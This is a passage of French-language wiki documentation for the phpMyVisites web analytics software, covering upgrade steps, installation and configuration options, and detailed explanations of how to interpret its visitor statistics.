Cette modification est nécessaire du fait de la grande amélioration de la sécurité dans les versions plus récentes, et donc du cryptage du mot de passe dans les fichiers de configuration. * uploadez les fichiers de configurations de votre ancienne version précédemment sauvegardés dans ce répertoire sur le serveur. * connectez vous avec le mot de passe 'test' et changez ce mot de passe. De même, pour tous les sous sites enregistrées, vous devez activer ou non l'affichage du logo de phpMyVisites (le fait de pouvoir choisir d'afficher ou non le logo de phpMyVisites est spécifique à chaque site depuis la version 1.2) * changez ensuite le code javascript pour chacun de vos sites par le code fourni dans la rubrique correspondante de l'administration. Le code Javascript de ne doit pas être transformé et doit être copié tel quel, sans aucun changement ! === A partir de la b1.2 (version 1.2 bêta) === Suivez le même protocole que précédemment, sans effectuer les étapes 4 et 6. Vous n'avez donc pas à éditer le fichier de configuration et à changer le mot de passe. === A partir de la 1.2.2 === Suivez précisément les étapes suivantes pour mettre à jour : * téléchargez à partir du répertoire phpmyvisites de votre serveur, les différents fichiers de configurations (config.php, les différents configX.php, nomsites.php). Conservez les précieusement ! * effacez la totalité du répertoire phpmyvisites sur votre serveur (fichiers de configurations inclus). Surtout, n’ayez pas peur ! * uploadez la nouvelle version sur le serveur (le contenu du répertoire ’phpmyvisites’ crée lors de la décompression de l’archive que vous venez de télécharger * uploadez les fichiers de configurations de votre ancienne version précédemment sauvegardés dans ce répertoire sur le * changez ensuite le code javascript pour chacun de vos sites par le code fourni dans la rubrique correspondante de l'administration. Le code Javascript de ne doit pas être transformé et doit être copié tel quel, sans aucun changement ! Le fait de devoir changer le code JS sur les sites peut être contraignant et nous nous en excusons. Ceci est dû à l'évolution rapide de phpMyVisites, nous veillerons à ne plus faire évoluer ce code dans les prochaines versions. == Informations à renseigner == La phase d'installation se fait très rapidement et ne requiert aucune connaissance technique particulière. Il vous suffit de rentrer vos identifiants de connections au serveur MySQL. Toutes les options activables sont définies précisément ci-dessous. === Phase 1/3 === Vous pouvez renseigner les paramètres de connexion au serveur MySQL (login, mot de passe, serveur et nom de la base de données) ainsi que le nom et adresse Internet du premier site à configurer. L’adresse renseignée est très importante, car elle est utilisée par le fichier phpmyvisites.php et dans l’affichage des affluents (votre site ne s’affichera pas dans les referrants ”Sites Internet”). Vous pouvez choisir d’afficher ou non le logo sur les pages où est situé le code javascript. Un choix entre plusieurs dizaines de logos est disponible. Autoriser l’affichage du logo sur votre site permettra à phpMyVisites de mieux se faire connaître de tous et ainsi d’évoluer plus rapidement : c’est une manière de remercier l’auteur qui a passé de très nombreuses heures à développer cette application libre et gratuite. Utilisateurs avancés : vous pouvez choisir de ne pas enregistrer, lors de la prise des statistiques, les variables de type GET de vos pages (la page 'page.php?var1=foo&var2=toto' deviendra 'page.php' dans vos stats). Pour encore plus de précision, il est possible de définir les variables des URLs que vous souhaitez considérer, et donc d’éliminer toutes les autres. Par défaut, le PHPSESSID est automatiquement ignoré. Entrez le nom des variables séparées d’un point virgule. Par exemple, si vous souhaitez ne pas prendre en compte les variables 'var1' et 'var3', cochez ´Oui´sur la première case et entrez dans le champ suivant : ´var1;var3´ (sans espace). Vos statistiques seront ainsi beaucoup plus claires et précises, car seront éliminées les variables de votre choix qui ne sont pas pertinentes dans le nom des pages. === Phase 2/3 === Vous pouvez paramétrer les restrictions d’accès à phpMyVisites en choisissant de protéger par login/mot de passe l’ensemble de l’application (statistiques et administration), ou seulement la partie administration, auquel cas les visiteurs (si ils ont connaissance de l’adresse du répertoire de phpMyVisites) auront accès aux statistiques. Vous devrez spécifier le chemin complet du répertoire phpMyVisites sur votre serveur (ex : http://www.votresite.com/web/phpmyvisites/). Cette information est indispensable pour l’affichage des images. N’oubliez pas le slash ’/’ à la fin du chemin ! Vous pouvez aussi choisir d’afficher ou non les graphiques lors de la consultation des statistiques (graphiques à barres verticales, de type camembert 3D ou camembert 2D). Si vous ne rencontrez pas de problème avec l’affichage des graphiques, ne les désactivez pas : ils fournissent des informations très importantes ! === Phase 3/3 === Le code javascript à insérer sur toutes les pages dont vous souhaitez obtenir les statistiques s’affiche à l’écran : il vous suffit de copier ce code et de le coller entre les balises <code><body></code> et <code></body></code> des pages de votre site (de préférence juste avant le <code></body></code>). Il est indispensable de ne changer aucune ligne de ce code : le lien vers le site officiel n'aura pas d'influence sur votre site, vous ne le verrez pas apparaître (excepté si vous avez activé l'affichage du logo, le logo sera alors cliquable et dirigera vers le site officiel) : ne le supprimez pas. Lors de l’affichage de cette page de l’installation, une requête est effectuée vers http://www.phpmyvisites.net/ qui a seulement pour but d’incrémenter le compteur des utilisateurs de phpMyVisites. Aucune information confidentielle n’est transmise. Ceci est fait afin de connaître le nombre précis d’utilisateurs de phpMyVisites. Merci de votre compréhension. Documentation phpMyVisites/Configuration 4487 16076 2005-07-04T08:15:39Z MyttO 383 [[Catégorie:Documentation phpMyVisites|Configuration]] == Ajout d'un site à auditer == Vous pouvez ajouter un nombre illimité de sites à auditer. Pour cela, allez dans la partie configuration et cliquez sur ’Ajouter un site Internet aux statistiques’. Saisissez les informations relatives au nouveau site (vous pouvez personnaliser la gestion des paramètres GET, séparément pour chaque site). Comme les informations de connexion peuvent varier d’un site à l’autre, vous avez la possibilité de les ressaisir pour chaque site (cela permet d’utiliser une base de données autre que celle utilisée pour le site principal). Vous pouvez aussi (depuis la version 1.2) paramétrer l'affichage du logo de phpMyVisites pour chaque site séparément (votre site pro n'affiche pas le logo, mais sur votre site perso vous ne voyez pas de problème à parler un peu de phpMyVisites). Par défaut les valeurs de connexion du premier site sont affichées. Cliquez ensuite sur ’Continuer’. Il reste à afficher le code javascript correspondant à ce site. Pour ce faire, cliquez sur ’Afficher le code javascript à insérer sur les pages’ puis sur le site que vous venez de configurer. Copier le code et collez le entre les balises <body> de votre site. Vos statistiques sont aussitôt accessibles ! == Modification des informations d’un site == Vous pouvez modifier les informations des sites configurés. Pour cela, allez dans la partie configuration et cliquez sur ’Modifier les informations d’un site configuré’. Les informations modifiables sont les mêmes que celles configurables à l’installation. Remplissez les champs puis validez. == Code Javascript à inclure sur les pages == Pour la prise en compte des statistiques, la mise en place d’un code Javascript (sur toutes les pages à auditer) est indispensable. Pour afficher le code, allez dans la partie configuration et cliquez sur ’Afficher le code javascript à insérer sur les pages’. Cliquez ensuite sur le site concerné, puis copiez le code. Il est conseillé de coller le code dans le bas des pages auditées, avant le </body>, afin de ne comptabiliser que les statistiques des pages qui ont été entièrement affichées. == Ne pas tenir compte du webmaster dans les statistiques == Si vous ne souhaitez pas que vos visites soient comptabilisées dans les statistiques d’accès, il est possible, pour chaque site séparément, d’installer un cookie sur votre ordinateur ; celui-ci sera automatiquement détecté lors de votre visite sur le site, et ne vous comptabilisera pas. Pour annuler et effacer le cookie, refaire la démarche en sens inverse. Si vous utilisez plusieurs navigateurs, il vous faudra installer le cookie sur chaque navigateur séparément. De même, n'oubliez pas d'installer un cookie via votre logiciel WYSIWYG de création de sites qui constitue encore un autre navigateur. == Gestion des langues == L'application phpmyvisites a été conçue pour être utilisée dans différentes langues. Il est donc possible d'ajouter ou de supprimer facilement une langue disponible pour l'utilisateur. Vous pouvez dans cette rubrique définir une langue par défaut, qui sera chargé lors de chaque première visite d'un nouvel utilisateur de phpMyVisites. Mais chaque utilisateur peut choisir sa propre langue à l'aide du menu déroulant présent sur toutes les pages, et son choix est alors stocké dans un cookie et la langue qu'il a choisit sera rechargée automatiquement lors des prochaines visites. Si vous avez traduit phpMyVisites dans une nouvelle langue et que vous souhaitez inclure votre fichier, il vous suffit de le copier dans le répertoire /langs/ de votre installation. Il sera alors automatiquement pris en compte lorsque vous vous rendrez dans le menu de gestion des langues. Consultez la rubrique Traductions pour plus d'informations sur les traductions. == Purge et optimisation de la base de données == Ce nouveau module a été introduit en version 1.2 stable, et il répond directement à la demande des webmasters qui sont limités dans la taille de leur base de données. Plusieurs actions sont possibles : * '''optimiser''' une ou la totalité des tables de la base de données. L'optimisation est une opération interne à MySQL qui permet de diminuer, dans de nombreux cas, la taille de la base de données. Il n'y a bien sûr aucune perte de données, la fonction OPTIMIZE se contente de compresser et de défragmenter les données. Il est conseillé d'optimiser les tables régulièrement sur les sites à fort trafic (une fois par mois par exemple). * la purge des logs permet d''''archiver''' tous les jours qui n'ont pas été archivés manuellement. Cela est principalement utile si vous ne consultez pas vos statistiques tous les jours, ou que vous avez été absent pendant une période données. Une simple sélection lance tous les calculs automatiquement. * '''purger''' une ou plusieurs tables pour un site enregistré. En quoi consiste la purge ? Elle permet de diminuer de manière très importante la taille des données, en effacant certaines informations (les informations qui occupent une place importante). Après la purge, seules les informations essentielles restent enregistrées et la consultation des statistiques d'une période dite « purgée » amène à une page simplifiée de consultation. Si vous purgez un groupe de jours, les archivages des mois et des semaines où sont contenus ces jours seront effectués. En effet, si cela n'était pas le cas, et que vous purgiez un groupe de jours tout en n'ayant pas au préalable archivé les mois et semaines contenant ces jours, alors vous n'auriez plus accès aux statistiques sur ces mois et semaines (puisque les jours ne seraient plus disponibles...). Détail important : seules les périodes qui ont déjà été archivées sont purgées. Si vous n'avez pas archivé la semaine 29 par exemple, et si vous purgez un groupe de semaines qui inclue cette semaine 29, elle ne sera pas archivée puis purgée ; elle sera simplement ignorée. Documentation phpMyVisites/Fonctionalités 4488 41439 2006-05-02T22:04:54Z 82.254.107.251 /* Mots clés */ [[Catégorie:Documentation phpMyVisites|Fonctionalités]] == Utilité des statistiques pour un site Internet ? == Les statistiques fournies par phpMyVisites, si elles sont correctement analysées, permettent très rapidement d’améliorer la gestion du visiteur sur le site, et donc d'améliorer les statistiques d'accès globales. La connaissance de vos visiteurs est un atout très important, car vous pourrez faire évoluer votre site en fonction de leur besoin et intérêts. Vous saurez par exemple quelles pages intéressent le plus, celles qui intéressent le moins (peut être devrez vous améliorer vos liens, mettre à jour le contenu ?). Par exemple si vos visiteurs passent du temps sur le site (plus de quelques minutes en moyenne), cela signifie qu’il propose un contenu non négligeable qui intéresse ; un temps court de visite peut être synonyme d’une page d’accueil peu accrocheuse, d’un contenu pauvre ou au contraire d’un site régulièrement (re)visité, les visiteurs s’intéressant alors majoritairement aux nouveautés (pourquoi ne pas augmenter la fréquence de mises à jour ?). Il est aussi important de tirer des conclusions sur les évolutions des statistiques (nombre de visites, nombre de pages vues) : pourquoi les chiffres sont ils en hausse soudaine ? Avez vous récemment ajouté un nouveau type de contenu ou complété celui existant ? Au contraire, suite à une brusque diminution du trafic, avez vous des éléments de réponse : est ce simplement un site au contenu événementiel, donc passager, ou est ce dû à un manque dans la publication de nouveautés ? Ou encore à un changement dans l'architecture du site qui n'a peut être pas convaincue ? Il existe ainsi de nombreuses questions que l'on peut se poser, simplement en observant les évolutions dans les chiffres ; les conclusions les plus faciles sont celles faites suites à l'observation des statistiques sur des périodes longues, comme le mois par exemple. Il vous sera possible d’aller encore plus loin grâce à l’analyse du suivi du visiteur : connaissant les principales pages d’arrivées, si celles ci sont peu convaincantes (si elles ont un taux de sortie élevé), vous devrez améliorer leur apparence, mettre plus de liens disponibles, favoriser la navigation dans votre site sur ces pages précisément. Si certains chemins sont peu empruntés, essayez de comprendre pourquoi et d’améliorer votre architecture dans ce sens. De même la provenance (votre site intéresse t-il seulement des francophones ?) ainsi que les aspects matériels sont fondamentaux dans la conception et l’évolution de votre site. Pourquoi par exemple s’efforcer de maintenir à jour une version anglaise d’un site si celle ci ne reçoit pas de visite ? Pourquoi optimiser le site pour Netscape 4.5 si moins de 0,1% des visiteurs du mois précédent utilisaient ce navigateur ? Votre site optimisé en 1024*768 reçoit beaucoup de visiteurs avec une résolution de 800*600 ? Assurez vous que votre site soit compatible aussi pour cette résolution ! Ce sont des points indispensables à la réussite et à l’évolution de votre site web. Vous ne devrez pas non plus négliger le référencement de votre site : consultez pour cela les mots clés qui ont permis à vos visiteurs d’arriver sur le site, les moteurs utilisés, etc. Si peu de visiteurs arrivent par des moteurs de recherche, essayez de correctement vous référencer (avez vous bien mis les balises-mêta de description et de mots clés sur toutes vos pages ?). Vous pourrez améliorer votre référencement de manière significative de cette manière ! Pour plus de renseignements sur chaque rubrique et statistique proposée par phpMyVisites, consultez la partie suivante qui décrit en détail les différentes fonctionnalités de la mesure d'audience de sites Internet, et qui donne des pistes d'analyse des différents résultats. == Statistiques & informations fournies par phpMyVisites == Les statistiques fournies par phpMyVisites sont assez nombreuses et structurées en 5 grandes rubriques principales. Elles évoluent continuellement au fur et à mesure des différentes versions publiées. Dans des prochaines versions la structure pourrait encore être transformer pour intégrer de nouvelles informations et fonctionnalités. Vous trouverez ci-dessous une description exhaustive des différentes rubriques et fonctionnalités de phpMyVisites. Chaque fonctionnalité sera analysée et nous tenterons de répondre à la question : Comment analyser les statistiques de sites internet ? Pourquoi un simple compteur de visite n'est pas suffisant ? Comment tirer des conclusions et quelle réaction adopter en fonction des résultats de votre mesure d'audience ? Si vous-même vous tirez des conclusions différentes de celles présentées par la suite, n'hésitez pas à nous en informer. Nous serions intéressés de voir les utilisations faites de ces résultats par les utilisateurs de phpMyVisites. L'interprétation personnelle peut être très diverse, et il serait très intéressant de constituer une sorte d'encyclopédie de l'analyse d'audience et de l'étude de l'évolution de la fréquentation de sites Internet. === Visites === Cette rubrique est la rubrique par défaut, car elle fournie les chiffres nécessaires à une rapide étude de l'évolution du site dans le temps : le trafic du site est il plus important aujourd'hui, ce mois ou cette semaine ? ==== Statistiques ==== Vous trouverez dans cette rubrique de nombreuses informations sur les visiteurs de votre site Internet. Il est important de bien faire la distinction entre les visites et les visiteurs uniques : une même personne, appelée visiteur unique, peut visiter plusieurs fois le site Internet dans la même journée. Un visiteur unique peut donc faire plusieurs visites. Le nombre de visiteurs uniques sera donc toujours inférieur ou égal au nombre de visites. Une grande différence entre ces 2 chiffres est signe d'un intérêt important des visiteurs, qui reviennent plusieurs fois dans la journée sur le site Internet. Votre public se fidélise à court terme, ce résultat intéressant prouve que vous avez certainement un contenu dynamique intéressant et régulièrement mis à jour. Si le nombre de visiteurs uniques et de visites est presque le même, ce n'est pas pour autant un point négatif ; mais peut être pourriez vous essayer de favoriser les mises à jour, et si votre site est important, pourquoi ne pas créer un forum qui permettrait aux visiteurs de se rencontrer et de traiter des sujets en relation avec le site ? Le nombre de pages vues précise, comme son nom l'indique, le nombre de pages différentes que vos visiteurs ont consulté sur le site. Bien sûr, seules les pages sur lesquelles vous avez placé le code javascript seront auditées. L'analyse plus profonde des pages vues a lieu dans la rubrique correspondante (lire Analyser les statistiques sur les pages vues). Vous connaîtrez aussi la moyenne de page vue par visiteur ; si ce nombre est important, cela montre que votre site dispose d'un contenu important, que la structure actuelle incite les visiteurs à cliquer plusieurs fois sur les liens proposés et à réellement naviguer sur le site, c'est donc très positif. Une moyenne de pages vues par visiteur supérieure à 8 pages est un excellent résultat, la moyenne se situant généralement vers 4-5 pages. Le temps moyen de visite ou par page vue sur le site vous permettra d'avoir un ordre d'idée de la durée moyenne de parcours sur le site, ou sur une page. Une courte durée (inférieure à 2 minutes) sera certainement signe d'un faible nombre de pages vues par visiteur, et à l'inverse un temps de visite important (est considéré comme importante une durée moyenne supérieure à 6 minutes) est un signe très positif : les visiteurs prennent leur temps à la lecture du site, s'intéressent au contenu (certainement riche). Le taux de visites à une page vue indique le pourcentage de visiteurs qui n'ont consulté qu'une seule page sur le site et ont fermé la fenêtre. Cela peut être dû à plusieurs facteurs : page d'accueil non attrayante (lisez à ce sujet Les analyses des pages vues en entrées ou Les pages de sorties, les pages qui repoussent les visiteurs), un mauvais référencement (les mots clés qui vous apportent des visiteurs sont ils cohérents avec le contenu du site ? Lisez à ce sujet Analyser les mots clés des moteurs de recherche), la cohérence visuelle du site est elle évidente ? Votre site est il accessible à tous : avez vous beaucoup d'images lourdes (problèmes avec les petites connexions de type 56K) ou le site nécessite t-il un plugin particulier ? Faites le savoir clairement et expliquer comment le télécharger et l'installer. A propos de la compatibilité avec les différents navigateurs, lisez Analyse des résultats des navigateurs des visiteurs. ==== Récapitulatifs sur la période ==== Cette rubrique vous permettra de consulter un récapitulatif de vos statistiques sur une période qui dépend de la période sélectionnée. Par exemple si vous auditez la journée d'hier, le tableau vous présentera un récapitulatif des nombres de visites et de pages vues des 7 jours précédant le jour audité. De même si vous étudiez une semaine en particulier, les 7 semaines précédentes seront présentées et comparées (idem pour le mois). Les chiffres présentés entre parenthèses et en petit caractère sont ceux du jour correspondant à la colonne en cours. Les pourcentages indiquent l'évolution du chiffre du jour audité par rapport au jour de la colonne courante. Par exemple, si vous avez +59% cela veut dire que vos chiffres du jour que vous auditez sont en hausse par rapport au jour de la colonne courante, c'est donc positif pour votre site (ce qui explique la couleur verte utilisée pour les résultats). De même si il est indiqué -15%, le résultat est en baisse par rapport au jour en question (une baisse de la fréquentation est négatif pour le site internet, ce qui explique la couleur rouge utilisée). Le texte [ Non archivé ] apparaît si la période... n'est pas archivée. Pour régler le problème, il vous suffit de consulter les statistiques de cette période (cela enclenchera le calcul des données). Il vous suffit ensuite de reconsulter la période qui vous intéresse, et toutes les données apparaîtront. Depuis la version 1.2 et suite aux demandes de nombreux utilisateurs, l'ordre est maintenant de gauche à droite pour la chronologie du tableau (idem pour le graphique récapitulatif). De plus la comparaison se fait bien sur les 7 jours précédents la journée auditée, et il inclue la journée en cours pour plus de clarté. ==== Graphique récapitulatifs de l'audience sur une période ==== Reprenant les résultats du tableau récapitulatif, le graphique permet une visualisation plus rapide des résultats. La droite rouge représente le nombre de pages vues mesurées et les barres oranges les visites comptabilisées durant les différentes périodes. Notez que l'échelle des pages vues n'a pas 0 comme origine, la droite peut donc varier brusquement ; cela permet de mettre en valeur les variations, mêmes faibles, des statistiques des pages vues. ==== Graphique durée des visites ==== Ce graphique expose les temps de visites moyens. Plus précisément il permet de répondre à la question « Combien de temps passent les visiteurs sur mon site Internet ? ». Indication plus pertinente que la simple moyenne de la durée des visites, le graphique vous présente le nombre de personnes ayant accédé au site pendant une durée pré-déterminée. Vous pourrez alors analyser les résultats pour déterminer si les personnes passent très peu de temps (désintérêt du visiteur, ou simple visite pour vérifier si une mise à jour a été effectuée), ou si globalement les temps de visites sont élevés (site à contenu conséquent qui intéresse le visiteur). Un temps de visite moyen de 4min peut par exemple révéler que la moitié des personnes ne restent que 30s sur le site et la majorité de l'autre moitié y passe plus de 8min. Il est important de mettre en corrélation ces deux résultats. Si les échelles pré-déterminées ne vous semble pas optimales, n'hésitez pas à nous le faire savoir (postez un message sur le forum « Suggestions et questions diverses » sur le site officiel). ==== Graphique visites heures serveur ==== Ce graphique présente le nombre de visites mesurées par rapport à l'heure du serveur. Cette information peut être utile si vous souhaitez faire des mises à jour sur le serveur directement et qu'il risque d'y avoir des dysfonctionnements sur le site Internet (coupures, interruptions, serveur de base de données temporairement indisponible). Il est bon de choisir un créneau horaire ou le site est peu visité, d'où l'intérêt des informations des visites par heures du serveur. Bien sûr si votre serveur n'est pas dans votre fuseau horaire, faites une rapide conversion pour vous assurer d'effectuer les transformations à l'heure serveur réelle ! ==== Graphique visites heures locales ==== Ce graphique présente les horaires utilisées par vos visiteurs lorsqu'ils visitent votre site Internet. Cela ne présente qu'un faible intérêt, mais peut être utile pour mettre en valeur le type de population de votre site (surfent-ils plutôt pendant les horaires de travail ou plutôt le soir et pendant les pauses ?). ==== Lieux de connexion ==== Ce graphique vous présente les lieux de connexion privilégiés par vos visiteurs. Se connectent ils plutôt le soir, le matin et pendant les pauses sur votre site, ou au contraire essentiellement au travail ? Les connexions entre 8h et 12h, et entre 14h et 18h les jours ouvrés (sans le Samedi et le Dimanche) sont considérés comme heure de travail. Le reste est considéré comme des connexions effectuées depuis le domicile. === Pages vues === Les résultats de cette rubrique vous permettront de connaître les parties précises du site qui intéresse vos visiteurs. Toutes les données pour la période sélectionnée seront comparées aux données de 2 périodes antérieures (J-7 et J-14 pour les visites, semaines et mois précédents pour les semaines et mois). ==== Statistiques globales ==== Dans le tableau vous est rappelé plusieurs statistiques importantes : le nombre de pages vues, le nombre de pages vues différentes : combien de pages ayant un nom différent ont été vues ? Est ce justement le nombre de pages total de votre site, auquel cas toutes les pages du site ont été vues au moins une fois ? Il indique aussi le record de pages vues pour un visiteur. ==== Tableau des détails des pages vues ==== Ce tableau présente les différentes page accédées sur votre serveur. Le nom correspond au chemin complet du fichier correspondant à la page mesurée (notez que les pages vues sont enregistrées en minuscule, nous conseillons en effet de ne pas donner de pages ou de variables sensibles à la casse). Le tableau met en avant les pages les plus visitées, et il est conseillé de regarder avec intérêt les évolutions dans ces pages, mais aussi les pages de votre site qui ne semblent pas appréciées (ou dont la cote de popularité est en baisse). Sont-elles faciles d'accès ? Les liens qui pointent vers ces pages sont ils correctement mis en avant sur le site ? Les mots clés sont ils bien choisis dans le texte des pages ? (le choix de mauvais mots clés dans un texte peut être synonyme de désintérêt par les moteurs de recherche). Certaines pages peuvent être de la forme « C:\toto\php\superbe.htm » (ou l'équivalent sur Linux : /usr/test/ ou même /toto/ alors que ce répertoire n'existe pas sur le site) : cela est dû à des visiteurs qui ont sauvegardé les pages de votre site sur leur ordinateur et qui y accèdent par celui-ci. Le code javascript est bien sûr toujours présent dans la page, l'appel à phpMyVisites se fait donc toujours et l'enregistrement des logs a lieu dans votre base de données. Ces pages peuvent être considérées comme parasites mais elles font réellement partie de votre audience. Une option sera certainement développée dans une prochaine version pour permettre aux webmasters qui le souhaitent de désactiver l'enregistrement de pages de ce style. ==== Graphique des visites par nombre de pages vues ==== Ce graphique présente le nombre de visites qui ont eu lieu par nombre de pages vues comptabilisées. Un grand nombre de visiteurs qui n'ont consulté que 1 ou 2 pages est en général assez mauvais signe, mais cela reste très fréquent et ne doit pas vous alarmer. Néanmoins il convient de se poser les bonnes questions : le site est il mis à jour fréquemment ? Ajoutez vous des articles, du contenu divers de manière régulière ? Votre site, à première vue, est il cohérent avec le sujet traité ? Que ce soit au niveau des couleurs, de la présentation (est ce très strict ou plutôt artistique ? Cela correspond il à votre audience ?) ou même tout simplement des termes employés tout au long des premières pages ? N'hésitez pas à vous questionner ainsi, les conclusions que vous tirerez pourront être très favorables à l'évolution de votre trafic. ==== Graphique pages vues par heures serveur ==== cf description de Graphique visites heures serveur ==== Graphique pages vues par heures locales ==== cf description de Graphique visites heures locales === Suivi du visiteur === Cette rubrique est une réelle innovation dans le domaine du logiciel libre de mesure d'audience de sites Internet : phpMyVisites est la première application à proposer une gestion performante et complète du suivi du visiteur sur le site Internet. Cette rubrique vous permettra de connaître les chemins empruntés par vos visiteurs dans les différentes rubriques, ainsi que les principales pages d'arrivées et de départ du site. ==== Pages d'entrées ==== Ces pages vues correspondent aux pages par lesquelles les visiteurs accèdent à votre site Internet. Dans la plupart des cas le premier résultat sera votre page index, car la majorité des visiteurs accèdent au site par l'adresse dit « brute » de votre site. Cette page (et les suivantes du classement) doivent être particulièrement soignée car ce sont celles qui permettent la navigation au sein du site Internet et qui sont consultées dès l'arrivée sur le site. Les liens qu'elles proposent doivent permettre d'accéder à une grande partie du reste des pages, le contenu de ces pages et leur présentation dépendent énormément du sujet traité. L'utilisation d'images afin d'attirer l'oeil du visiteur peut être efficace et parfois conseillée, il ne faut cependant pas en abuser. Faites de préférence des liens sur les images, afin de favoriser les gens à cliquer et parcourir. L'analyse des pages d'entrées peut aussi mettre en avant un phénomène peu fréquent mais extrêmement important : les cibles des liens de vos partenaires, ou mêmes les pages sur lesquelles mènent les moteurs de recherche. En effet si vous développez des partenariats avec d'autres sites Internet, ceux-ci pourront pointer leur lien vers des pages spécifiques de votre site Internet. La prédominance d'un sujet plus précis dans certaines rubriques peut aussi favoriser l'importance des moteurs de recherche qui apporteront vos visiteurs directement dans les rubriques concernées. Essayez de comprendre pourquoi telle ou telle page est importante en tant que page d'entrée, cela peut avoir beaucoup de raisons et de conséquences intéressantes. ==== Pages de sorties ==== Ce tableau permet de répondre à la question fondamentale : est ce que cette rubrique ou cette page est intéressante pour les visiteurs ? Quel meilleur critère utiliser pour répondre à cette question que le taux de sortie des visiteurs sur chaque page ? Ainsi si sur une page donnée, vous constatez un taux de sortie de 95%, cela signifie qu'une écrasante majorité des visiteurs qui ont parcouru cette page sont sorti du site Internet et n'ont pas continué leur visite ! Plus grave, vous pourrez constater que certaines pages sont continuellement accompagnées d'un taux de sortie très important : ces pages sont impérativement à reconsidérer, n'hésitez pas à les revoir entièrement, les rendre plus attractives, complètes, et favoriser la continuité de la navigation (augmentation des liens pointant vers des pages ou rubriques annexes, etc.). Par défaut les pages de sorties sont classées par nombre de fois où ces pages ont été comptabilisées en tant que pages de sorties. Dans une prochaine version, nous envisageons de proposer la possibilité de classer les pages par taux de sortie. Cela permettra de mettre directement en tête les pages qui font en moyenne le plus « fuir » vos visiteurs. Néanmoins le classement actuel reste très pertinent, vous constaterez que les premières pages ont généralement un taux de sortie élevé et méritent une reconsidération. ==== Suivi ==== Cette partie vous permet d'étudier les différentes combinaisons de navigation choisies par les visiteurs. Le principe est simple : vous analysez les pages sur lesquelles se rendent les visiteurs, à partir d'une page d'étude (par défaut, la page d'entrée la plus visitée est sélectionnée). Vous pouvez sélectionner la page à étudier en cliquant sur celle-ci dans le tableau du suivi (vous ne pouvez donc analyser que les pages qui sont affichées dans le suivi). L'étude du suivi des visiteurs sur le site permet de mettre en avant une éventuelle qualité et la facilité dans la navigation (c'est le cas si en moyenne toutes les pages mènent à plusieurs pages différentes). L'étude du chemin du visiteur peut aussi montrer une certaine tendance : imaginons un article en deux parties distinctes. Vous pourrez, en sélectionnant la première page de l'article à étudier, déterminer si majoritairement les visiteurs qui consultent cette page souhaitent finir leur lecture, ou si au contraire une majorité d'entre eux cliquent sur d'autres liens (de même thématique ou non). Vous pouvez aussi mettre ces résultats en parallèle avec les taux de sortie : si une page propose un taux de sortie élevé mais que le faible nombre de visiteurs qui continuent leur visite le font majoritairement sur une même page, pourquoi ne pas mettre encore plus en valeur le lien vers cette page ? Vous pourrez aussi mettre en évidence d'intéressantes phénomènes : dans le cas d'un site marchand, pourquoi la page de listage du caddie n'emmène que 10% des visiteurs vers la phase de commande ? La réponse ne viendra pas de phpMyVisites, il faudra se questionner soi-même : le processus est il assez clair, la présentation assez soignée ? Parlez vous suffisamment du processus de vente, de livraisons, etc. ? Vous pourrez ainsi, grâce à l'analyse du parcours du visiteur sur le site Internet, tirer de nombreuses conclusions très importantes pour les futures évolutions à mettre en oeuvre. Vous pourrez de cette manière améliorer fortement le trafic et la popularité générale de votre site. === Provenance === D'où viennent vos visiteurs ? Votre site intéresse t-il des internautes de tous les continents ? Quel fournisseurs d'accès utilisent ils ? ==== Mappemonde ==== La mappemonde est un outil visuel très apprécié permettant en un regard, de constater la présence et l'intérêt de votre site sur le globe. Elle permet de visualiser (première étape) le regroupement des visiteurs par continent, puis lors d'un clic sur un continent particulier (deuxième étape), le détail des pays pour ce continent. Les cartes se veulent simples, claires et donc efficaces. Pour plus de précisions et de détails sur des chiffres, il suffit de consulter le tableau récapitulatif chiffré en dessous de la mappemonde. Si l'échelle de couleur ne vous convient pas, consulter cette rubrique : 5.9 Echelle de couleur pour la mappemonde Le développement de ces cartes est un travail très long et minutieux, et a demandé de nombreuses heures. Les cartes disponibles dans l'archive de phpMyVisites ne sont pas du domaine public, elles sont comme l'application publiées sous license GNU/GPL, et ne peuvent donc être librement utilisées que dans un logiciel ou un site publié sous cette même license. Depuis la version 1.3, les cartes sont traduites dans toutes les langues de phpMyVisites, les noms de pays et de continents sont écrits dynamiquement sur les cartes. ==== Récapitulatif des pays ==== Cette rubrique dresse un panel complet des différentes nationalités des visiteurs de votre site. Ce paramètre est important pour un site Internet : votre public est-il essentiellement français ou plus généralement francophone (Belgique, Luxembourg, Québec, Suisse, etc.) ? Certains pays qui ne sont a priori pas directement ciblés par votre site sont ils majoritairement présents, auquel cas la création d'une section internationale pourrait être envisagée ? Le site déjà traduit dans plusieurs langues rencontre t-il le succès espéré pour les différents pays ? ==== Fournisseurs d'accès ==== L'information du fournisseur d'accès (provider) des visiteurs n'a pas énormément d'importance. Elle permet seulement, sur une importante affluence, de réaliser des statistiques sur l'utilisation de tel ou tel fournisseur d'accès, et donc de dégager les tendances du marché. En cliquant sur les noms des providers, vous arriverez sur son site internet officiel. === Configurations matérielles === La connaissance de l'environnement matériel de vos visiteurs est fondamentale car elle permet de savoir si le site est globalement bien conçu pour le public rencontré. ==== Systèmes d'exploitation (OS) ==== Ce récapitulatif des systèmes d'exploitation utilisés par les visiteurs de votre site Internet vous permettra de connaître la tendance globale d'utilisation de tel ou tel système. Nous pourrions même aller plus loin : cela vous permettra de constater l'évolution fulgurante du puissant système d'exploitation libre Linux. phpMyVisites est capable de reconnaître la totalité des systèmes d'exploitations couramment utilisés : Windows (toutes versions), Linux, Macintosh, FreeBSD, SunOS, etc. (au total une quinzaine de systèmes différents). Pour l'analyse en fonction des résultats obtenus, vous ne pourrez pas tirer d'indications intéressantes de ce résultat car il est évident que votre site est compatible tous systèmes d'exploitation : vous avez banni tous les scripts qui ne marchent « que sous Internet Explorer » et vous n'utilisez pas les répugnants active X qui ne marchent que sous Windows. Votre site compatible n'a pas de soucis à se faire de ce côté, voyons plutôt la suite. ==== Navigateurs ==== Ce récapitulatif des navigateurs (browsers en anglais) utilisés par les utilisateurs de votre site Internet vous permettra, comme pour les systèmes d'exploitation, de constater l'état global du marché. Plus important, l'analyse des résultats vous permettra de déterminer si il est vraiment obligatoire d'optimiser votre site pour les vieux navigateurs qui ne semblent plus utilisés ; les résultats sur des navigateurs comme Netscape 4.x vous convaincront certainement (vous ou votre patron) de l'inutilité (relative) de passer des heures à optimiser pour ce navigateur (dépassé, vieillot, et complètement incompatible avec les standards). Bien sûr, une prédominance fréquemment constatée du navigateur Internet Explorer de Microsoft ne doit pas empêcher de fournir du code HTML propre et qui soit compatible avec les navigateur de type Gecko (Mozilla Firefox, Mozilla) ou Opera. Ces 